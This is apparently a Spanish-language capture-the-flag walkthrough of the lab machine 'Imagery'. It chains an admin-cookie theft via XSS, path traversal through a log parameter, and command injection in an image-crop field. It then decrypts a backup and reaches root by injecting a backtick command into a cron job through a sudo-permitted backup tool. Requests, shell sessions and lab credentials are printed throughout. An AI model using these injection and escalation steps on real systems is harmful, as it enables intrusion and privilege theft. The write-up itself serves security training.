En Imagery descubrimos multiples vulnerabilidades web, iniciando con un XSS para escalar privilegios. Luego, explotar Path Traversal para la lectura y analisis de codigo fuente de la aplicacion. Esto ultimo permitio identificar y explotar Command Injection para acceso inicial. Dentro, encontramos un backup encriptado en AES el cual contenia credenciales que permitieron cambiar a un nuevo usuario. Finalmente escalamos privilegos tras registra un cronjob a traves de un comando privilegiado.
Tras registrar un usuario y autenticarnos, se muestra una galeria vacia.
El sitio tiene un formulario para subir imagenes.
Tras subir una imagen esta se muestra en la galeria.
La imagen tiene varias opciones, unicamente dos son funcionales. La opcion de eliminar imagenes tiene dos opciones.
La creacion de grupo de imagenes se limita unicamente al formulario.
Bug Report
En el sitio tambien existe un formulario para reportar un bug.
Tras enviar un reporte se indica una revision de este por el Admin.
XSS via Bug Report
En el codigo fuente del sitio encontramos funciones en javascript para el sitio. loadBugReports() es la encargada de obtener los reportes y mostrarlos, en esta se utiliza DOMPurify.sanitize esto no permitiria ataques XSS sin embargo, unicamente se utiliza este en el id, reporter y nombre del reporte. En detalles del reporte (${report.details}) esta funcion no aplica.
Reemplazamos esta cookie en nuestro navegador logrando acceso como admin.
Logs
Cada usuario tiene un archivo de log accesible por el sitio.
1
2
3
4
5
6
7
8
9
10
11
12
GET /admin/get_system_log?log_identifier=sckull%40imagery.htb.log HTTP/1.1
Host: 10.10.11.88:8000
Cookie: session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aNonrA.kPbQ2hEbXkVp8Qv6KqzNaMj0oXY
HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.12.7
[2025-09-29T06:30:40.881350] Uploaded image: batman.jpeg (ID: 38b0eb05-311e-47e3-b386-7bd47b955e1f) to group 'My Images'.
[2025-09-29T06:30:44.286062] Logged out successfully.
[2025-09-29T06:30:58.799133] Registered successfully.
[2025-09-29T06:31:02.119479] Logged in successfully.
Path Traversal
Tras modificar el valor de log_identifier este nos permite acceder a archivos de la maquina sin restricciones, lo que indica una vulnerabilidad path traversal.
GET /admin/get_system_log?log_identifier=../app.py HTTP/1.1
Host: 10.10.11.88:8000
Cookie: session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aNonrA.kPbQ2hEbXkVp8Qv6KqzNaMj0oXY
HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.12.7
from flask import Flask, render_template
import os
import sys
from datetime import datetime
from config import *
from utils import _load_data, _save_data
from utils import *
from api_auth import bp_auth
from api_upload import bp_upload
from api_manage import bp_manage
from api_edit import bp_edit
from api_admin import bp_admin
from api_misc import bp_misc
app_core= Flask(__name__)app_core.secret_key = os.urandom(24).hex()app_core.config['SESSION_COOKIE_HTTPONLY']= False
app_core.register_blueprint(bp_auth)app_core.register_blueprint(bp_upload)app_core.register_blueprint(bp_manage)app_core.register_blueprint(bp_edit)app_core.register_blueprint(bp_admin)app_core.register_blueprint(bp_misc)@app_core.route('/')def main_dashboard():
return render_template('index.html')if__name__=='__main__':
current_database_data= _load_data()default_collections=['My Images', 'Unsorted', 'Converted', 'Transformed']existing_collection_names_in_database={g['name']for g in current_database_data.get('image_collections', [])}for collection_to_add in default_collections:
if collection_to_add not in existing_collection_names_in_database:
current_database_data.setdefault('image_collections', []).append({'name': collection_to_add}) _save_data(current_database_data)for user_entry in current_database_data.get('users', []):
user_log_file_path= os.path.join(SYSTEM_LOG_FOLDER, f"{user_entry['username']}.log")if not os.path.exists(user_log_file_path):
with open(user_log_file_path, 'w') as f:
f.write(f"[{datetime.now().isoformat()}] Log file created for {user_entry['username']}.\n")port= int(os.environ.get("PORT", 8000))if port in BLOCKED_APP_PORTS:
print(f"Port {port} is blocked for security reasons. Please choose another port.") sys.exit(1) app_core.run(debug=False, host='0.0.0.0', port=port)
En config.py se indica la base de datos en archivo json y el uso de dos ejecutables: convert y exiftool.
Sin embargo no encontramos el valor del hash del admin, unicamente de testuser.
Hash
Type
Result
5d9c1d507a3f76af1e5c97a3ad1eaa31
Unknown
Not found.
2c65c8d7bfbca32a3ed42596192384f6
md5
iambatman
testuser
Tras el analisis en api_edit.py encontramos una posibilidad de Command Injection en /apply_visual_transform en la variable command la cual toma valores del usuario para construir y luego ejecutar un comando segun el tipo de ’transformacion’ de la imagen, aunque todo recae a una sesion de cuenta test como se indica al inicio: session.get('is_testuser_account').
Utilizamos las credenciales de testuser, se muestra la opcion de Manage Groups.
Tras subir una imagen se muestran mas opciones.
Utilizamos la opcion Transform, se listan varias opciones, seleccionamos crop y este muestra la imagen editada.
Command Injection
Editamos la solicitud para crop y modificamos el valor de x para realizar “command injection”, ejecutamos whoami y id, se muestra que el usuario es web.
$ ls -lah bot
total 16K
drwxr-xr-x 2 root root 4.0K Sep 22 18:56 .
drwxrwxr-x 9 web web 4.0K Sep 29 07:12 ..
-rwxr-xr-x 1 web web 6.8K Aug 2 19:56 admin.py
$ cat bot/admin.py
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import tempfile, shutil, time, traceback, uuid, os, glob
# ----- Config -----CHROME_BINARY="/usr/bin/google-chrome"USERNAME="admin@imagery.htb"PASSWORD="strongsandofbeach"BYPASS_TOKEN="K7Zg9vB$24NmW!q8xR0p%tL!"APP_URL="http://0.0.0.0:8000"# ------------------
Backup
En el directorio /var/backup descubrimos un backup encriptado.
Utilizamos la contrasena para desencriptar y listamos los archivos dentro del zip, es un backup del sitio.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ python
Python 3.13.3 (main, Apr 10 2025, 21:38:51)[GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license"for more information.
>>> import pyAesCrypt
>>> pyAesCrypt.decryptFile("web_20250806_120723.zip.aes", "web_20250806_120723.zip", "bestfriends")>>> exit()❯ unzip -l web_20250806_120723.zip | head
Archive: web_20250806_120723.zip
Length Date Time Name
--------- ---------- ----- ----
4023 2025-08-05 09:00 web/utils.py
9091 2025-08-05 08:57 web/api_manage.py
840 2025-08-05 08:58 web/api_misc.py
6398 2025-08-05 08:56 web/api_auth.py
1809 2025-08-05 08:59 web/config.py
1943 2025-08-05 15:21 web/app.py
9784 2025-08-05 08:56 web/api_admin.py
❯
DB Backup
Dentro de este encontramos el archivo db.json que contiene usuarios y contrasenas.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ cd web_backup/web
❯ ls -lah
drwxrwxr-x kali kali 4.0 KB Mon Sep 29 03:12:48 2025 .
drwxrwxr-x kali kali 4.0 KB Mon Sep 29 03:12:48 2025 ..
drwxrwxr-x kali kali 4.0 KB Mon Sep 29 03:12:48 2025 __pycache__
drwxrwxr-x kali kali 4.0 KB Mon Sep 29 03:12:49 2025 env
drwxrwxr-x kali kali 4.0 KB Mon Sep 29 03:12:48 2025 system_logs
drwxrwxr-x kali kali 4.0 KB Mon Sep 29 03:12:48 2025 templates
.rw-rw-r-- kali kali 9.6 KB Tue Aug 5 08:56:42 2025 api_admin.py
.rw-rw-r-- kali kali 6.2 KB Tue Aug 5 08:56:54 2025 api_auth.py
.rw-rw-r-- kali kali 12 KB Tue Aug 5 08:57:06 2025 api_edit.py
.rw-rw-r-- kali kali 8.9 KB Tue Aug 5 08:57:20 2025 api_manage.py
.rw-rw-r-- kali kali 840 B Tue Aug 5 08:58:18 2025 api_misc.py
.rw-rw-r-- kali kali 12 KB Tue Aug 5 08:58:38 2025 api_upload.py
.rw-rw-r-- kali kali 1.9 KB Tue Aug 5 15:21:24 2025 app.py
.rw-rw-r-- kali kali 1.8 KB Tue Aug 5 08:59:48 2025 config.py
.rw-rw-r-- kali kali 1.5 KB Wed Aug 6 12:07:02 2025 db.json
.rw-rw-r-- kali kali 3.9 KB Tue Aug 5 09:00:20 2025 utils.py
❯
bash-5.2$ sudo -l -l
[sudo] password for web: spiderweb1234
Sorry, user web may not run sudo on Imagery.
bash-5.2$
User - mark
Cambiamos a mark con su contrasena logrando acceder a la flag user.txt.
1
2
3
4
5
6
7
8
9
10
bash-5.2$ su mark
Password: supersmash
bash-5.2$ whoami
mark
bash-5.2$ cdbash-5.2$ ls
user.txt
bash-5.2$ cat user.txt
5cbe987670384a33730bbbe066810f53
bash-5.2$
Privesc
mark puede ejecutar charcol como root a traves de sudo.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
bash-5.2$ sudo -l -l
Matching Defaults entries for mark on Imagery:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User mark may run the following commands on Imagery:
Sudoers entry: /etc/sudoers
RunAsUsers: ALL
Options: !authenticate
Commands:
/usr/local/bin/charcol
bash-5.2$
El output describe el ejecutable para la creacion de backups encriptados.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
bash-5.2$ sudo charcol helpusage: charcol.py [--quiet][-R]{shell,help} ...
Charcol: A CLI tool to create encrypted backup zip files.
positional arguments:
{shell,help} Available commands
shell Enter an interactive Charcol shell.
help Show help message for Charcol or a specific command.
options:
--quiet Suppress all informational output, showing only
warnings and errors.
-R, --reset-password-to-default
Reset application password to default (requires system
password verification).
bash-5.2$
Una de las opciones permite reiniciar la contrasena, tras ejecutar esta opcion, se configuro en modo ’no password'.
bash-5.2$ sudo charcol -R
Attempting to reset Charcol application password to default.
[2025-09-29 10:05:54][INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm:
supersmash
[2025-09-29 10:05:59][INFO] System password verified successfully.
Removed existing config file: /root/.charcol/.charcol_config
Charcol application password has been reset to default (no password mode).
Please restart the application for changes to take effect.
bash-5.2$ sudo charcol shell
First time setup: Set your Charcol application password.
Enter '1' to set a new password, or press Enter to use 'no password' mode:
Are you sure you want to use 'no password' mode? (yes/no): yes
[2025-09-29 10:06:17][INFO] Default application password choice saved to /root/.charcol/.charcol_config
Using 'no password' mode. This choice has been remembered.
Please restart the application for changes to take effect.
bash-5.2$
Automated Jobs (Cron):
auto add --schedule "<cron_schedule>" --command "<shell_command>" --name "<job_name>"[--log-output <log_file>] Purpose: Add a new automated cron job managed by Charcol.
Verification:
- If '--app-password' is set(status 1): Requires Charcol application password (via global --app-password flag).
- If 'no password' mode is set(status 2): Requires system password verification (in interactive shell).
Security Warning: Charcol does NOT validate the safety of the --command. Use absolute paths.
Examples:
- Status 1(encrypted app password), cron:
CHARCOL_NON_INTERACTIVE=true charcol --app-password <app_password> auto add \
--schedule "0 2 * * *" --command "charcol backup -i /home/user/docs -p <file_password>"\
--name "Daily Docs Backup" --log-output <log_file_path>
- Status 2(no app password), cron, unencrypted backup:
CHARCOL_NON_INTERACTIVE=true charcol auto add \
--schedule "0 2 * * *" --command "charcol backup -i /home/user/docs"\
--name "Daily Docs Backup" --log-output <log_file_path>
- Status 2(no app password), interactive:
auto add --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs"\
--name "Daily Docs Backup" --log-output <log_file_path>
(will prompt for system password) auto list
Purpose: List all automated jobs managed by Charcol.
Example:
auto list
Creamos el comando para agregar un cronjob.
1
auto add --schedule "* * * * *" --command "`whoami>/home/mark/whoami`;charcol backup -i /home/mark/user.txt" --name "new cron" --log-output /home/mark/log.log
Tras ejecutarlo se muestra que fue agregado.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
charcol> auto add --schedule "* * * * *" --command "`whoami>/home/mark/whoami_cmd`;charcol backup -i /home/mark/user.txt" --name "new cron" --log-output /home/mark/log.log
[2025-09-29 10:07:14][INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm:
supersmash
[2025-09-29 10:07:18][INFO] System password verified successfully.
[2025-09-29 10:07:18][INFO] Auto job 'new cron'(ID: 8f9716b2-9890-4595-94bb-979953954d55) added successfully. The job will run according to schedule.
[2025-09-29 10:07:18][INFO] Cron line added: * * * * * CHARCOL_NON_INTERACTIVE=true`whoami>/home/mark/whoami_cmd`;charcol backup -i /home/mark/user.txt >> /home/mark/log.log 2>&1charcol> auto list
auto list
[2025-09-29 10:07:46][INFO] Charcol-managed auto jobs:
[2025-09-29 10:07:46][INFO] ID: 8f9716b2-9890-4595-94bb-979953954d55
[2025-09-29 10:07:46][INFO] Name: new cron
[2025-09-29 10:07:46][INFO] Command: * * * * * CHARCOL_NON_INTERACTIVE=true`whoami>/home/mark/whoami_cmd`;charcol backup -i /home/mark/user.txt >> /home/mark/log.log 2>&1[2025-09-29 10:07:46][INFO] ------------------------------
charcol>